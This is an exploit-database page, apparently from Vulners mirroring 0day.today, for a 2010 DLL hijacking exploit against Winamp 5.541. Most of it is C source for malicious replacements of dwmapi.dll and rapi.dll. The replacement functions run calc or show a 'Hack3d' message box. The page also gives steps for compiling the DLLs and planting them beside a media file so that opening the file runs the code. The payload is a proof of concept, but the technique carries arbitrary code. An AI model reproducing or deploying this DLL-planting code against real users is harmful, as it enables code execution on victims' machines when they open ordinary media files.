Lucene search
K

Winamp v5.541 DLL Hijacking Exploit (dwmapi.dll rapi.dll)

🗓️ 08 Oct 2010 00:00:00Reported by anT!-Tr0J4nType 
zdt
 zdt
🔗 0day.today👁 24 Views

Winamp v5.541 DLL Hijacking Exploit, allows remote code execution by specially crafted file

Code
=========================================================
Winamp v5.541 DLL Hijacking Exploit (dwmapi.dll rapi.dll) 
=========================================================

/*
#Winamp v5.541 DLL Hijacking Exploit (dwmapi.dll ? rapi.dll )

#Author : anT!-Tr0J4n

#Greetz : Dev-PoinT.com ~ inj3ct0r.com  ~ All Dev-poinT members and my friends

#Email  : D3v-PoinT[at]hotmail[d0t]com & C1EH[at]Hotmail[d0t]com

#Tested on: Windows XP sp3

# " .aiff ? .amf ? .au ? .avr ? .far ? .flac ? .htk ? .iff ?.it ? .m4a ?.mat ? .mdz ? .midi
.miz ? .mod ? .mp1 ? .mp3 ?.mtm ? .nsa ? .ogg ?.okt ?.paf ?.ptm ? .s3m ?.sd2 "

#####################
How  TO use : Compile and rename to" dwmapi.dll ? rapi.dll ", create a file in the same dir with one of the following extensions.
 check the result > Hack3d            
#####################

#dwmapi.dll (code)
*/
 
#include <windows.h>
#define DLLIMPORT __declspec (dllexport)

DLLIMPORT void  DwmDefWindowProc() { evil(); }
DLLIMPORT void  DwmEnableBlurBehindWindow() { evil(); }
DLLIMPORT void  DwmEnableComposition() { evil(); }
DLLIMPORT void  DwmEnableMMCSS() { evil(); }
DLLIMPORT void  DwmExtendFrameIntoClientArea() { evil(); }
DLLIMPORT void  DwmGetColorizationColor() { evil(); }
DLLIMPORT void  DwmGetCompositionTimingInfo() { evil(); }
DLLIMPORT void  DwmGetWindowAttribute() { evil(); }
DLLIMPORT void  DwmIsCompositionEnabled() { evil(); }
DLLIMPORT void  DwmModifyPreviousDxFrameDuration() { evil(); }
DLLIMPORT void  DwmQueryThumbnailSourceSize() { evil(); }
DLLIMPORT void  DwmRegisterThumbnail() { evil(); }
DLLIMPORT void  DwmSetDxFrameDuration() { evil(); }
DLLIMPORT void  DwmSetPresentParameters() { evil(); }
DLLIMPORT void  DwmSetWindowAttribute() { evil(); }
DLLIMPORT void  DwmUnregisterThumbnail() { evil(); }
DLLIMPORT void  DwmUpdateThumbnailProperties() { evil(); }

int evil()
{
  WinExec("calc", 0);
  exit(0);
  return 0;
}

-----------------
# rapi.dll (code)

*/
#include "stdafx.h"
 
void init() {
MessageBox(NULL,"anT!-Tr0J4n", "Hack3d",0x00000003);
}
 
 
BOOL APIENTRY DllMain( HANDLE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
 )
{
    switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
 init();break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
 case DLL_PROCESS_DETACH:
break;
    }
    return TRUE;
}



#  0day.today [2018-04-12]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

08 Oct 2010 00:00Current
6.8Medium risk
Vulners AI Score6.8
24